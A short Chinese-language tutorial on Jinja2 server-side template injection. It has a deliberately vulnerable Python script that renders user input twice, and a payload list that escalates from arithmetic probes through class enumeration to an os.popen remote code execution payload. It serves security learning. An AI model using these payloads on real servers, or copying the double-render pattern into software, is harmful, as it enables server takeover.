在某些情境下,API server 會利用 template engine 來渲染相關頁面,在 script language 中如果沒有正確設定, 就會有 SSTI 的相關問題:
- 渲染引擎重複渲染
- 沒有過濾使用者輸入的內容
已 Python / Jinja2 為例,預設渲染 {{ }}
內的內容,如果再渲染前將使用者的輸入值放入,則有機會渲染不預期的內容。
簡單的測試範例為:
#! /usr/bin/env python
from jinja2 import Template
from jinja2.exceptions import TemplateSyntaxError, UndefinedError
if __name__ == '__main__':
while True:
try:
args = input('> ')
tmpl = Template('<p>{{ args }}</p>')
html = tmpl.render(args=args)
# the problematic behavior
html = Template(html).render()
print(html)
except (TemplateSyntaxError, UndefinedError) as err:
print('error: {}'.format(err))
透過執行,輸入簡單的運算式 {{ 7 * 7 }}
就會發現得到結果為 49
Payload
- 簡單的測試
{{ 7 * 7 }}
- 顯示 flask 的 global 變數
{{ g }}
、顯示當下的 request 變數{{ request }}
- 透過變數顯示所有可用 class
{{ 1.__class__.mro()[1].__subclasses__() }}
- 迭代所有 class
{% for x in 1.__class__.mro()[1].__subclasses__() %}{{ x }} {% endfor %}
- 選擇特定 class
{% for x in 1.__class__.mro()[1].__subclasses__() if x.__name__ == 'type' %}{{ x }} {% endfor %}
- 迭代所有 class
- 找特定的 type 來做 RCE
- 使用 self 執行
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
- 使用 self 執行